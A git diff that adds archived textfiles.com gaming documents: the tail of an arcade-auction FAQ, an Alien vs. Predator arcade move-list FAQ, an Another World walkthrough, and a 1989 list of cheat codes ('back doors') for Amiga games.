games haven't been in arcades for a long time and are + practically worthless to operators, so they'll tend to be rare. On the + other hand, Asteroids had a huge production run, and there are still a + lot of games out there. If you see an Asteroids machine at an auction, + you'd know not to bid very high because the game is relatively common. + It'll show up at another auction sometime soon. (the authors of this + FAQ, for instance, have seen dozens of these machines in warehouses + across the country). On the third hand, Asteroids Deluxe had a fairly + small production run and was never as popular as the original game, so + you should probably take advantage of the opportunity to buy as soon as + it arises. + + + +Q: I'm in a fierce battle for my favourite game, and the prices are getting + pretty steep! HELP! + +A: Bidding wars are bad news. + + Remember, if you need a rationalization to avoid bidding on a given game, + or you want to console yourself after losing a bid, remember that there + are other auctions, any one of which might also have your game in it. + Moreover, you still have your money, so you can now bid on something else + in the auction... + + + +Q: Why are the prices so cheap? + +A: The reason that the prices are so cheap for "old" games is that the + operators can't make any money on them. This is why (provided you're + at an "honest" auction) the prices are by far the cheapest you'll see as + a beginning collector or as a person who wants a specific machine. + + We highly recommend this as a way to pick up your first machine. + + + +Q: Anything else I should know? + +A: If you've never been to one, go to one and sit through the whole thing. + It's good experience, and you don't have to buy anything. + + For the most part everything works and will work when you get it home, + but there are no guarantees. Everything is sold "as-is", and all sales + are final. This is why it is important to play-test anything you + intend to buy, if at all possible. + + If a game won't power up, it will be sold at the end of the auction as + "broken" (or "was working an hour ago") and will go for next to nothing. + + Prices will vary from region to region, and even within regions depending + on the auctioneer. For the most part, however, "old" games will sell for + between $50 and $250, depending on its age, condition, the number of + instances of the game present, and whether or not it was sold at the + start or end of the auction. + + Living in California seems to add about $50-$100 to the prices, and some + people report that "classic" games are often harder to find in the + California area. + + Cocktail tables will add $100 to the price of the machine, since so many + people in the crowd can easily take home a cocktail table. + + +[end-of-FAQ] + diff --git a/textfiles.com/games/avp.txt b/textfiles.com/games/avp.txt new file mode 100644 index 00000000..1ce088ad --- /dev/null +++ b/textfiles.com/games/avp.txt @@ -0,0 +1,547 @@ + _ _ _ ___ _ _ + / \ | | | | | _| | | | | (TM) + / _ \ | | | | | |_ | \| | + | _ | | | | | | _| | |\ | + | | | | | |__ | | | |_ | | | | + |_| |_| |____| |_| |___| |_| |_| + ______ ______ ______ ______ VS.____ _______ _____ ______ +| _ \| _ \| ___| _ \ / _ \|__ __|/ _ \| _ \ (TM) +| |_| | |_| | |___| | | | |_| | | | | | | | |_| | +| ___/| _ /| ___| | | | _ | | | | | | | _ / +|||| |||| \ \||||___| |_| |||| | | ||| ||||_| |||| \ \ +|||| |||| |||||||||||||||||/|||| |||| ||| \|||||/|||| |||| + + +Alien vs. Predator Mini FAQ Version 2.1 10-06-94 +By: Rey Kanzaki (rkanzaki@netcom.com) + +SPECIAL THANKS TO THE AUTHOR OF AVP FAQ VERSION 1.0: + Mike "BBC" Long (mlong@world.std.com) + +MANY THANKS TO ALL WHO MADE THIS POSSIBLE: + Jeff W. Alexander (jwa@WLV.IIPO.GTEGSC.COM) + Alexander Wong (awong@emerald.tufts.edu) + Kevin Michael Malone (kmalone@falcon.tamucc.edu) + Herbert Tin Hoy Hu (hoy@uhunix.uhcc.hawaii.edu) + Devin Wong (devin@qedbbs.com) + m.a.hall (M.A.Hall@bradford.ac.uk) + Peter Yeung (yeung@staff.cs.su.oz.au) + Adam Tennant (ahriman@ccu1.auckland.ac.nz) + Alain Hoang (hoanga@rpi.edu) + Omega Red (omega%vikings@bts.com) + Van Hoang Nguyen (vanhn@ocf.berkeley.edu) + Andy Eddy (vidgames@netcom.com) + Albert Disanto (space port 11707) + Glenda (space port 11707) + Rick (space port 11707) + Scott (space port 11707) + +Send corrections, comments, suggestions to rkanzaki@netcom.com. + + + + + +1. Story. + +Released by Capcom in the summer of 1994, Alien vs. Predator is +loosely based on the movies _Alien_ and _Predator_ and is the latest +of the Final-Fight genre games. The setting is San Drad, California, +the largest city on the West Coast. The Wayland Yutani Corporation is +developing biological weapons. An emergency situation occurs, and in +72 hours, San Drad is overrun by Aliens. Incredibly outnumbered, two +heroes, Dutch Schaefer and Linn Kurosawa, fight the Aliens in a +losing battle. And when all seems lost, Predators materialize and side +with the heroes to join in the "Hunt". + +The "Hunt" begins. Round 1 is "City of Despair". The fight takes place +in the city amid hordes of Aliens. The boss is the Alien guard +Chrysalis. Round 2 is "War in the Underpass". The fight continues in +the sewers beneath the city. The boss is the fast and deadly Razor +Claws. Round 3 is "Forced Assault". Atop a moving APC, the hunters +shoot at Aliens as they storm their way to the Queen's liar. The boss +is the agile Arachnoid. Round 4 is "Assault on a Queen". The fight +takes the hunters directly to the Queen. The boss is the first Alien +Queen. Round 5 is "Secrets". Investigating the crash of an aerial +transport, the hunters find that the Aliens are part of a biological +weapons development. The boss is a military service Power Loader. +Round 6 is "Nightmare in the Lab". The fight is now inside the +laboratories. The boss is the powerful "Mad Predator". Round 7 is +"Hunt's End". The fight takes place aboard a space craft in outer +space. The boss is the second Alien Queen. + +Having defeated the Alien Queen, the hunters board a escape pod and +direct the space craft to crash on the base and explode on impact. The +resulting explosion destroys all remaining Aliens. Then back on the +planet, the Predators give the heroes the Alien Queen's tail hook. The +Predators leave as the heroes wonder why they helped them. + +Note: Round 6, "Nightmare in the Lab", has a special stage where +characters must destroy a control box. Failure to destroy it in 20 +seconds results in a crash, inflicting damage to the characters. + + + + + +2. Characters. + +|-Predator Warrior----------------+-Dutch Schaefer-------------------| +| | | +| Favorite Weapon: Spear | Favorite Weapon: Anything he | +| Gun: Shoulder Cannon | can get his hands on | +| | Gun: Smart Gun | +| A proud leader, he seeks | Abandoned by his superiors, | +| both prey to hunt, and kin | he fights because it is what | +| who have gone missing on | he knows ... and loves. | +| this world. | | +| | | +| Speed: ****** | Speed: *** | +| Power: **** | Power: ********** | +| Skill: ***** | Skill: ***** | +| | | +| A warrior from the stars | A cyborg created to fight | +| who lives for combat. He | extraterrestials. He lost | +| searches the galaxy for | his right arm in the 2nd | +| worthy game to hunt. | Alien War, and has since had | +| Equipped with powerful | it replaced with a smartgun | +| weapons, his honor will not | rig. He lives only to avenge | +| let him take unfair | himself against the aliens! | +| advantage during a hunt. | | +| | | +|-Linn Kurosawa-------------------+-Predator Hunter------------------| +| | | +| Favorite Weapon: Katana | Favorite Weapon: Halberd | +| Gun: Large Caliber Pistol | Gun: Shoulder Cannon | +| | | +| Honor bound to defend those | A berserker, feared even by | +| who betrayed her, she still | his own people. For him the | +| prays that it was a | hunt is all. | +| mistake. | | +| | | +| Speed: ****** | Speed: ****** | +| Power: ** | Power: ***** | +| Skill: ********** | Skill: **** | +| | | +| A cyborg who lead the 13th | A hunter from beyond. This | +| Colonial Marine Corps. She | young warrior seeks to prove | +| is a master of ancient | himself by hunting the most | +| martial arts which she | dangerous creatures known. | +| combines with her super | He will destroy himself | +| strength for lethal effect. | rather than be defeated. | +| Always equipped with a | | +| Japanese Katana, the blade | | +| represents her soul. | | +|_________________________________|__________________________________| + + + + + +3. Weapons. + +The Predators are armed with shoulder cannons. The cannon fires single +shots. On the ground, the cannon automatically targets the first enemy +in the line of sight but cannot seem to track Chest Busters, Face +Huggers, and the first Alien Queen. In the air, the cannon initially +fires in the direction of the joystick, but the cannon's auto-tracking +takes over almost immediately. Direct hits result in explosions +affecting the target and other enemies near it. Those affected are +enveloped in flame and are knocked down (except Alien Queens and Power +Loaders). The reload status bar indicates firing availability. Each +time the cannon is fired, the reload status bar decreases. If the +reload status bar is totally depleted, the cannon has overheated, +otherwise the reload status bar continuously refills. The cannon can +QUICKLY overheat. The Warrior's native weapon is the spear, and the +Hunter's native weapon is the halberd. They cannot use other melee +weapons. They simply throw them. + +Schaefer is armed with a smart gun rig on his arm. He fires a barrage +of smart gun bullets. On the ground, he fires by waving his arm up and +down covering all angles in the direction he is facing. In the air, he +fires according to the joystick direction. The reload status bar +indicates firing availability. Each time he fires, the reload status +bar decreases. If the reload status bar is totally depleted, the gun +has overheated, otherwise the reload status bar continuously refills. +Schaefer carries no melee weapons, but he can use ANY weapon that he +picks up, including the Warrior's spear, the Hunter's halberd, and +Linn's katana. + +Linn is armed with a large caliber automatic pistol. She fires a +stream of pulse gun bullets. On the ground, she fires an initial burst +striking the ground and then proceeds to shoot horizontally in the +direction she is facing. In the air, she fires according to the +joystick direction. The reload status bar indicates firing +availability. Each time she fires, the reload status bar decreases. +Unlike the Predators or Schaefer, Linn does not have continuous +refill. When the reload status bar is depleted, she must stop and +reload her gun. Reload occurs immediately after depletion, even when +surrounded by enemies. During reload, she is COMPLETELY VULNERABLE. +Linn's native weapon is the katana. She cannot use other melee +weapons. She simply throws them. + +Other Weapons: +Super Cartridge: A character picking up this item can continuously + use his weapon to fire unlimited amount of rounds in a ten + second period. Super cartridges are found in some + containers and also appear whenever a player joins a game + in progress. + +Knife: Basic weapon that affects all enemies in the line of + projection. This weapon is simply picked up and thrown. If + it hits a wall, it falls to the ground. + +Disc: When thrown, the disc returns to the thrower along the line + of projection. If the thrower is not on the same horizontal + plane as the disc during its return, the disc will travel + off the screen and is lost. The disc is capable of knocking + down enemies with a single hit. Linn can use the disc to + hit enemies on the ground. If it hits a wall, it falls to + the ground. + +Flame Thrower: Use with care. Each blast lasts about a second, leaving + your backside vulnerable. This weapon is short-lived but is + very effective against hordes. + +Pipe: A simple but effective weapon. Schaefer is the only one who + can use it to repeatedly smash enemies. The Predators and + Linn simply throw it. If it hits a wall, it falls to the + ground. + +Pulse Gun: A very effective weapon that bombards enemies with + constant fire. It has long range and is useful against + bosses. The bullets do not go through enemies. + +Smart Gun: Improvement over the Pulse Gun. More firepower. Unlike the + pulse gun, the smart gun shoots bullets that go through + enemies, affecting all in the line of fire. + +Hand Grenade: Powerful hand-thrown weapons. The explosion affects the + target and other enemies near it. Those affected are + enveloped in flame and are knocked down (except Alien + Queens). This weapon is very effective against Power + Loaders. If an enemy soldier is hit before he throws a + grenade, the fallen grenade can be picked up and used. + Grenades hit in mid-air can also be picked up and used. + +Grenade Launcher: Improvement over hand grenades. This is a very + powerful weapon. If the grenade hits, the following + explosion propagates to enemies that are in the direction + of firing. If fired from one end of the screen, one direct + hit is capable of enveloping in flames all enemies on + screen. + + + + + +4. Items. + +There are numerous items placed throughout the game to aid you in your +fight. Some items restore partial health, and some simply increase +your score. The items are stored in some form of container, but be +cautious, some containers store Aliens. + +|---------------------------------+----------------------------------| +| Item: Points: Health: | Item: Points: | +|---------------------------------+----------------------------------| +| Soda Can 10,000 ? | Amber 2,000 | +| Hot Dog 15% | Amethyst 2,000 | +| Salad 10,000 ? | Aquamarine 4,000 | +| Turkey 25,000 ? | Emerald 8,000 | +| Ham 35% | Necklace 6,000 | +| Hamburger 15,000 30% | Ingot 20,000 | +| Beef Steak 20% | Lapis Lazui 8,000 | +| Cheese 20% | Ring 10,000 | +| Meat 35% | Topaz 2,000 | +| Medicine 50,000 100% | | +| Chicken 25% | Radio 10,000 | +| Lobster 40% | Helmet 10,000 | +| Sea Breen 40,000 ? | | +| Porker 25,000 40% | | +| Pizza ? | | +|_________________________________|__________________________________| + + + + + +5. Moves List. + +|-Legend--------------------------+----------------------------------| +| Joystick Controls | Character faces right. | +| O O O | A = Weapon | +| \ | / | B = Attack | +| O- Q -O | C = Jump / Dash | +| / | \ | ',' = "Followed by" | +| O O O | '*' = "Hold button" | +| | Ex: 'A*B' means press | +| | A and hold, press B | +|_________________________________|__________________________________| + +|-Predator Warrior---------------------------------------------------| +| The Warrior's normal attack pattern is three spear swipes | +| followed by a stationary pole vault-like kick. This final kick | +| has just a tad less range than the spean swipes, and sometimes | +| misses the target. If weaponless, he punches instead. If he is | +| hit by an enemy immediately behind him while attacking, he will | +| execute a reverse sweep. | +|--------------------------------------------------------------------| +| -O C Dash | +| (Moves about 1/2 screen width) | +| | +| Dash, B Dash Kick | +| | +| Dash, | B Dash Knee | +| O | +| | +| After initiating a Dash Kick, it is possible to land multiple | +| kicks by further pressing the ATTACK button each time the | +| Warrior connects with a target. Furthermore, the Warrior will | +| rebound from connection in the current direction of the | +| joystick, making it possible to dash into a group of aliens, | +| kick several, and then bounce out without ever touching the | +| ground. | +| | +| After initiating a Dash Knee, it is possible to turn it into a | +| Dash Lunge Punch by pressing the ATTACK button once upon | +| connecting with a target. | +| | +|--------------------------------------------------------------------| +| O- C Backward Hop | +| (Dash Kick and Dash Knee work | +| too, but are awkward) | +| | +|--------------------------------------------------------------------| +| | C Short Slide | +| O | +| | +| \ C Long Slide | +| O | +| | +|--------------------------------------------------------------------| +| Jump, | C Spear Dive | +| O (If he is without his spear or | +| is holding another weapon, he | +| executes a diving kick. | +| Repeatedly pressing JUMP results | +| in multiple hits. He is | +| momentarily vulnerable after | +| execution) | +| | +|--------------------------------------------------------------------| +| -O Grab | +| (Alien Queens and Power Loaders | +| are immune to grabs) | +| | +|--------------------------------------------------------------------| +| The following moves can be performed after a successful grab. | +| | +| Center Joystick, Press B Pummel | +| Repeatedly | +| | +| Jump, | B Ground Smash | +| O | +| | +|--------------------------------------------------------------------| +| | O B Flying Kick | +| O | (This move is more defensive | +| than offensive. It moves him a | +| good distance and can hit | +| several enemies) | +| | +|--------------------------------------------------------------------| +| Any two buttons Escape Move | +| (He crouches and twirls his | +| spear above his head. Without | +| his spear, he hops and fires | +| straight down, even when his | +| weapon has overheated. This move | +| drains energy for each enemy | +| affected) | +| | +|____________________________________________________________________| + +|-Dutch Schaefer-----------------------------------------------------| +| Schaefer's normal attack pattern is four punches. If he picks | +| up any melee weapon, he will keep it and swing it repeatedly. | +| If he is hit by an enemy immediately behind him while | +| attacking, he will execute a reverse sweep. | +|--------------------------------------------------------------------| +| -O C Rush | +| (Also, center joystick (Moves about 1/2 screen width) | +| and tap C repeatedly) | +| | +| Rush, B Rush and Punch | +| (Also, C * B) | +| | +|--------------------------------------------------------------------| +| \ C Slide | +| O | +| | +|--------------------------------------------------------------------| +| -O Grab | +| (Alien Queens and Power Loaders | +| are immune to grabs) | +| | +|--------------------------------------------------------------------| +| The following moves can be performed after a successful grab. | +| | +| Center Joystick, Press B Pummel | +| Repeatedly | +| | +| -O B Suplex | +| | +| C * B Ground Smash | +| (Schaefer is immune to ALL | +| attacks when executing this | +| move) | +| | +|--------------------------------------------------------------------| +| | O B Rising Knee | +| O | (The descent is slow, and it can | +| leave him vulnerable) | +| | +|--------------------------------------------------------------------| +| Any two buttons Escape Move | +| (He overloads him arm and spins | +| in place while sparks fly. This | +| move drains energy for each | +| enemy affected) | +|____________________________________________________________________| + +|-Linn Kurosawa------------------------------------------------------| +| Linn's normal attack pattern is four Karate moves followed by | +| a katana slice. Without her katana, she will only do four | +| Karate moves. If she is hit by an enemy immediately behind her | +| while attacking, she will execute a reverse sweep. | +|--------------------------------------------------------------------| +| If Linn's air attacks connect, she can rebound and execute | +| another air attack. If executing a Jump Kick, she will rebound | +| in the direction of the joystick. If executing a Stab she will | +| rebound up. Repeated Stabs usually result in an Air Throw. She | +| can also rebound off the walls. | +| | +| Jump, B Jump Kick | +| | +| Jump, | B Jumping Stab | +| O (If she is without her katana or | +| is holding another weapon, she | +| executes a Jump Kick) | +| | +| Jump, B Air Throw | +| (She must overlap with an Alien. | +| She can also throw Aliens just | +| when they are dropping from | +| above) | +| | +|--------------------------------------------------------------------| +| \ C Slide Kick | +| O | +| | +|--------------------------------------------------------------------| +| Tap Joystick Forward Twice Iaikiri | +| (If she is without the katana or | +| is holding another weapon, she | +| executes a roundhouse kick) | +| | +|--------------------------------------------------------------------| +| Hold B For 2 Seconds, Then Soukeiha [Double Power Wave] | +| Release (She may freely move and use the | +| SHOOT and JUMP buttons while | +| charging. Even firing a picked | +| up weapon will charge her bolt, | +| often resulting in a discharge | +| when the weapon clip is emptied | +| and the button is released) | +| | +|--------------------------------------------------------------------| +| | O B Koeikyaku [Tiger Shadow Kick] | +| O | (It also affects enemies on the | +| ground) | +| | +|--------------------------------------------------------------------| +| Any Two Buttons Senpuzan [Hurricane Slice] | +| (She jumps into the air, | +| spinning with her katana | +| extended. She can do this in | +| place or combined with a leap to | +| one side. The leap can be | +| directed by using the joystick | +| when the buttons are pressed. | +| Without her katana, she stays put | +| and kicks the legs from under | +| everything around her. This move | +| drains energy for each enemy | +| affected) | +| | +|____________________________________________________________________| + +|-Predator Hunter----------------------------------------------------| +| The Hunter's normal attack pattern if four halberd swipes. If | +| he is hit by an enemy immediately behind him, he executes a | +| reverse sweep. | +|--------------------------------------------------------------------| +| -O C Dash | +| (Moves about 1/2 screen width) | +| | +| Dash, | B Flying Tackle | +| O | +| | +|--------------------------------------------------------------------| +| | C Short Slide | +| O | +| | +| \ C Long Slide | +| O | +| | +|--------------------------------------------------------------------| +| Jump, | C Ball Attack | +| O (Repeatedly pressing JUMP | +| results in multiple hits. He is | +| momentarily vulnerable after | +| execution) | +| | +|--------------------------------------------------------------------| +| -O Grab | +| (Alien Queens and Power Loaders | +| are immune to grabs) | +| | +|--------------------------------------------------------------------| +| The following moves can be performed after a successful grab. | +| | +| Center Joystick, Press B Pummel | +| Repeatedly | +| | +| Jump, | B Ground Smash | +| O | +| | +|--------------------------------------------------------------------| +| O | B Uppercut | +| | O | +| | +|--------------------------------------------------------------------| +| Any Two Buttons Escape Move | +| (He crouces and spins mini discs | +| around himself. Without the | +| halberd, he hops and fires | +| straight down, even when his | +| weapon has overheated. This move | +| drains energy for each enemy | +| affected) | +| | +|____________________________________________________________________| + + + + + +Under no circumstance do I guarantee the accuracy and correctness of +this FAQ. This FAQ may be freely copied and distributed. This FAQ is +available in ftp.netcom.com /pub/vi/vidgames/faqs. +-- +Rey Kanzaki : A!MG TSZ FSS Gunnm : "Megami ga matteiru nara +rkanzaki@netcom.com : MarikoNagai : tengoku datte nobotte + : KahoruKohiruimaki : miseru sa" + + diff --git a/textfiles.com/games/aw_solve.txt b/textfiles.com/games/aw_solve.txt new file mode 100644 index 00000000..67bfaf3f --- /dev/null +++ b/textfiles.com/games/aw_solve.txt @@ -0,0 +1,231 @@ +£ŽŽŽŽŽŽ ŽŽŽŽŽŽ¨ +3 3 +3 3 + ANOTHER WORLD WALK-THRU + + by: + +3 Piston and Skyin 3 +3 04/15/92 3 +…ŽŽŽŽŽŽ ŽŽŽŽŽŽ— + + +For those of you who can't figure out how to finish this one (or don't +want to spend the time), here's a few helpful hints. + +Scene 1 +------- + + After the nice lab explosion, you appear in a water filled pit +on another world. Press up to swim to the top and up and right to +get out. Go right and kill all those little beasties in the next +two screens. Then keep going right. At about halfway thru the +third screen over from the water, a beast will appear. Run left and +just keep running. At the ledge, jump on the rope. You'll swing +back right. Now keep running right. After you run into the alien, +just watch and do nothing. + +Scene 2 - HTDC +------- + + OK, now your in a cage. Start swinging left and right. After +it lands on the alien, pick up his gun. Run two screens right and +kill the alien. Move to the right side of the screen and shoot two +aliens as they come from the left. Then go to the next screen to +the right, and your bud should be trying to open the door. Set some +shields (hold down spacebar until a little glow appears at the end +of your gun, then release it). Set like 2-3 shields to be safe. +When the doors to your right open up, follow your friend right. +Take the elevator to the bottom. Walk into the next screen to the +left, shooting as you go. The aim is to kill a guy as soon as you +enter the room. After you kill him, shoot the little light on the +wall. Then take the elevator up one floor. Go left and blow a hole +in the wall (hold down fire until a large glowing ball appears on +your gun, and release it). Then run left and stand over the +teleporter (hole in the floor) and push down. Then continue to run +left. Go up the next teleporter. (Make sure your bud is with +you). Go left through the door. Your bud will come behind you and +open a hole in the floor. Go down it. + +Scene 3 - CLLD +------- + + OK, you're rollin' in the pipes. I'll tell you the path, you +just avoid the steam. Left all the way. Fall. Right. Fall. +Right. Fall. Left. Fall. Right. Fall. + +Scene 4 - LBKG +------- + + Go left and charge you gun. Shoot through the three walls +(overload gun technique). Run right. Shoot the alien on the +bridge, and then move to the edge of the brigde. Jump out and +you'll land on a ledge. Shoot a hole in the wall. + +Scene 5 - XDDJ +------- + + Fall down first hole to your right. Do this again. You should +be standing on a balancing rock. Go right. Jump over the stalag's +and then continue going right avoiding the falling rocks. You +should encounter some hanging beasties. You can shoot some and +they'll go up. If you can shoot it, use a large phaser blase to +destroy it. Continue right avoiding all beasties until you get to a +wall. Shoot a hole in it. + +Scene 6 - FXLC +------- + + After shooting a hole in the wall, proceed back left. When you +get to where the rocks fall, take the high road, and you'll get to a +ledge. Then go one screen right, and shoot at the bird. Go back +left and the bird will follow you. Run and jump off the ledge and +you'll grab onto the first stalagtite. Wait here until the beastie +starts to eat the bird. Then contiue left on the stalag's by sliding +up them and then pushing left and fire. Eventually, you'll be on +top of the balancing rock. + +Scene 7 - KRFK +------- + + Fall off the left side of the balancing rock and use a large +laser blast on its base. Then run up it. Continue right, jumping +over the pits as they come. Then use a large laser blast to shoot +the foundation out from under the water. Now run like the wind +(left), but make sure not to fall in the pits. After proceeding +left, you'll be standing on a rock that will get shot up by water +underneath it. Now go right. You'll go up a ramp and then shoot a +hole in the wall. Go right, and then up the stairs. Then continue +to go right. + +Scene 8 - KLFB +------- + + You should be in a room with a bunch of pillars, and your bud +should be crawling underneath you. Go right. Kill the alien. A +good strategy to killing these guys is to set up shields, and then +use a large laser blast to destroy his shield, followed by a quick +laser blast to kill him. After killing him, go right and down the +stairs. Go left. Kill the guy. Then go up the stairs and shoot +the middle lamp. You just released you friend. Now run right and +continue to run right. You'll run into an alien. After he picks +you up, press fire to kick him where it hurts. Run toward your gun, +and then press down. You'll roll and pick up you gun. stay +crouched and just keep shooting. After you kill the guy, go +right. As you enter the room, proceed with caution. Two guys will +come, one from either side. Walk to about the first pillar (no guys +should be coming yet). Then set shields to your right. Then run +right of the shields and set a couple more. The guys will +be shooting at you now. Kill the one to your right, and then the +one to your left. Use the killing strategy mentioned earlier. +Proceed to the right and you will be next to a pit of water. + +Scene 9 - TTCT +------- + +Dive into the water. Swim all the way down, and then to the left. +On the second screen over, there will be two holes in the rock above +you. Go up the one further to the left and you can catch your +breath. Then swim straight down (2 screens). You should be at the +bottom amongst stalagmites. Swim right and get out of the water. +Jump over the little beasties, and shoot the power line. Then swim +back to the top of the pit where you first dove in. + +Scene 10 - HRTB +-------- + +Get out of the water and go left. Go up the teleporter, and then up +the stairs to the left. Then go right until you get to the room +with the big alien and three doors between you and him. Go about +halfway to the doors and make a shield. Then go up to the doors and +they'll open. Because you made a shield, the guy should start +rolling grenades. When he does, back away. The doors will close +and the grenades will kill the alien. Then go through the doors. +Blow a hole in the next door and continue right. Go up the +teleporter and charge your gun. Go back down it and continue +right. You are now at the ceiling level above the guy to the left +of the pit of water. If you look at the green glass balls, you can +see his reflection as he paces. Squat and shoot so that a ball lands +on top of him. Then make your way back to the pit of water. Swim +across. Go right and you'll see the dead alien with shattered glass +around him. Keep going right. + +Scene 11 - BRTD +-------- + +After going right, you will fall down a pit. Shoot the door to your +right with a large laser blast. Then run right. Just keep +running. You will get to a screen with a gate at the right. Along +the ceiling there is an air duct. Stand under that and keep making +shields to your left. Your friend will come and reach his hand down +the air duct. Hit your fire button and he will pull you up. + +Scene 12 - TFBB +-------- + +Go left, behind the rock. Then go right. You will be on a path in +the background. Continue right, past the room where your friend has +been captured. Then go left into the room and kill the alien +closest to you. Just run up, and crouch such that your gun sticks +thru the shield, and fire. Then follow your friend right. Stand at +the edge of the cliff, and he will throw you across. Then after he +jumps and is hanging, jump left. You will fall and grab onto +another canopy and swing onto a path. Put up shields and kill the +two guys that come. Then go left. + +Scene 13 - TXHF +-------- + +You should be standing by some stairs. Go left. Aliens are leaving +the room. Run up to the door. It will open. Put out your gun, but +don't shoot. The guy will stick up his arms. Then go right. He +will then close the door permanently. Go right and then go up the +stairs. Crouch in front of the wall. Put up a shield and then blow +up the wall with a large laser blast. The guy will start to roll +grenades. As soon as he starts, run left. Stand behind him and let +him keep grenading for a minute or so. Then kill him. After his +bones fall apart, teleport down (you're standing on a teleporter). +Then put up a bunch of shields and kill the guy shooting at you. +Then go to the right, over to the tube and press down. Shoot the +power line and then go up. Work you way back to the stairs and go +down them. Notice the hole in the ground (grenades anyone?). Go +down the hole and proceed to the right. The next screen will go +dark. Just keep running. Guys will shoot at you from under a +grate. After you pass the grate, stop. Walk SLOWLY to the right. +When the screen changes, the lights will be back on. Jump over the +hole and pull on the lever. Then go down the hole and run to the +right. Just keep going right until you get to the wall. Then press +up and you will teleport up. Then walk to the left. You will go +thru a door and then your friend will fall. Follow him to the +right. After he teleports, press up and you will teleport. Then +follow him to the right and into the spaceship. + +Scene 14 - CKJL +-------- + +You're in the spaceship. The upper right corner of the screen shows +the ship's control panel. Only two buttons show. Press them both. +Then press the button to the lower left. A new panel of buttons to +the left should turn on. Then press the top four buttons on that +panel. A flashing button will appear. Press that button and you +will eject. + +Scene 15 - LFCK +-------- + +Your pod lands poolside among a swarm of female aliens. Get out and +run right. On the next screen over you will have to kill four +aliens. (Shield, shield, big laser, little laser). After killing +them, run right. On the next screen, your friend will bust throught +the wall. Follow him right. A laser will then shoot out the ground +from under you. As you fall, another alien catches you. He then +kicks you into the next room. Your friend will come and jump on the +other alien, and when he does, press right to squirm across the +floor to a panel of levers. The alien will throw your friend off +the ledge and then come after you. When he's in the center of the +screen, press your fire button and your will pull the first lever, +killing the alien. Quickly, pull the second lever and a door will +open from above. Press left to make your way to under the hole. +When you get there, you will teleport up. That's the end. Just +watch and enjoy. + \ No newline at end of file diff --git a/textfiles.com/games/backdoor.txt b/textfiles.com/games/backdoor.txt new file mode 100644 index 00000000..7f462a13 --- /dev/null +++ b/textfiles.com/games/backdoor.txt @@ -0,0 +1,331 @@ +February 20 1989 + + +This is BACKDOR1.arc ... the first in a series of +"back doors" to various games. The source of this info is +various magazines, and I have paraphrased the articles. + +Note that "back door" refers NOT to regular game hints on +how to play better, but to a way to CHEAT, usually put +there by the programmer, sometimes caused by a bug. Usually +you'll be made invincible if it's an arcade-type game, or +be able to advance quicker if an adventure game. + +Most of these "back door" and "side door" hints are out of +a GREAT magazine for the Amiga, C64, and C128: INFO. +It's a grass-roots, down to earth magazine - the first +magazine about personal computers to be be entirely done on +personal computers. That's "Where It's At". + +You owe it to yourself to subscribe to INFO. +With the exception of most of the ads, everything including +color screen shots and photos are digitally created, edited, +composed, printed, and color separated as complete assembled +pages on 14 Amiga computers running Professional Page (and +many many other Amiga software products), and output to a +Linotronic L300 typesetting device at 1235 dots per inch! +INFO doesn't cover programming techniques, but in my opinion +it out-shines all the other Commodore mags for news, honest +opinion, game reviews, and reviews of all C= software. + +George Knochel, Lakewood Colorado + + + +ALL GAMES: connect a genlock to the Amiga and leave it on +while playing games, and they'll play 25% slower, which +allows you to score high. + + + +ARKANOID + +Get into the back door this way: boot and run the game as +usual, then select a start screen and begin game. Press the +space bar to pause, and type in DSIMAGIC (no spaces, and +don't press Return). Press the space bar to unpause. + +Now a yellow Power capsule named DS will fall down. Catch +it. Now you can get any power capsule you want any time. +Press the first letter of the capsule you want, and it will +fall down for you to catch: + Break Catch Disruption Expand Laser Player Slow +Catch some Player capsules first to get extra lives. + +You can also use two capsules at the same time, like Disrupt +the ball into three balls, and use Lasers also. + +Pressing the F key will send you to the Finsl screen where +you fight DOH, the Dominion Over Hour monster on the cover + of the package. You'll need lots of lives first. + +Skip over any screen by pressing Enter on the keypad, or +get through the screen fast (with points too) using a Break +capsule. + + + +ARKANOID II + +On the high score screen, type in the name DEBBIE S +(with the space), and you'll have infinite lives. + + + +BARBARIAN + +Boot and run the game as usual, but at some point after the +game has started, type in: 04-08-59 ...It will make the +Barbarian character almost invincible, but he can still be +killed by very high falls, and by the flame-hurling horned +demon in the dungeon deep, pictured on the cover. + +After you type 04-08-59 the screen will turn gray, telling +you that you're invincible. + +Once you make it to Necron, you must have a shield. Face +Necron when he turns to face you. When he throws a fireball +at you, press the defense button as it hits your shield. + + + +BARD'S TALE + +How to hoard millions in gold without trying: Load your +party, go to the stats screen for the first player. Pool +all of the party's gold to the first player, then remove +him from the party, then load him back in. Then pool the +gold to another player. Repeat this for each player. + +Then turn off the computer without saving the game. Reboot +and ezch player will have gold equal to the TOTAL the party +had before. Repeat if you're really greedy ! + + + +BETTER DEAD THAN ALIEN + +If you are just about to be hit by an alien or a bomb, press +the ESC key to pause, move your ship out of the way, then +press N to resume the action. + +Type CHAMP on the options screen, then press the HELP +key. You'll be shown a list of cheat keys. + + + +CAPONE + +To find the "special bonus", go to the front of the Post +Office. Shoot the ball at the top of the flag pole, and +your score will go way up. If you shoot it again, you'll +see a screen of the programmers! Shoot again and you'll be +invincible, standing in the bank. At the end of that round, +you will start at the beginning, except you'll be in warp +speed. + + + +DEFENDER OF THE CROWN + +To get 1,024 Knights: After conquering a territory, press +these four keys at the same time, while the drive is still +running: H J K L ... If you do it just right, you'll have +1,024 knights both in your home and in your army. Hey, this +is good stuff! + +Another way was reported in which to get 1,024 Knights, but +it doesn't seem to work: After first picking the knight, +when Robin Hood appears, type PATTERSON over and over until +the map of England appears. Don't press the Return key. +If this trick doesn't work the first time, try again. +I was only able to get this to work most of the time if, +before typing PATTERSON over and over, I first typed in +my name with no spaces: GEORGEKNOCHEL Yep, Twilight Zone! + +Another good trick for Defender of the Crown, for sword +fighting, is to get the PD program called FUN-BUT +(fun button), which when run lets you press the F1 key +continuously instead of clicking on the mouse. +(but then this is a hint, not a back door). + + + +DRAGON'S LAIR + +This will demo the ENTIRE game (about 18 minutes worth or a +disk I/O error, whichever comes first). You can't play it, +just watch the whole game: After the credits have finished +loading, and are being displayed (the red light will still +be on, but no loading is occurring), press the following six +(6) keys, simultaneously: R / L N 7 +Yes, all at the same time (use your nose if ya have to - +just press ESC and hold, then press R and hold, etc.). +The screen will flash if you did it right. THEN PRESS THE +FIRE BUTTON on your joystick. Sit back and watch all the +animation. (I couldn't - my disk 5 had an I/O error) + + + +DUNGEON MASTER + +To advance Ninjas a level, stand in a hall and throw all +your weapons, then get them and repeat. This also works +with magic and Fighter levels: cast a spell at the air, +or slash and bash until you gain a level. + + + 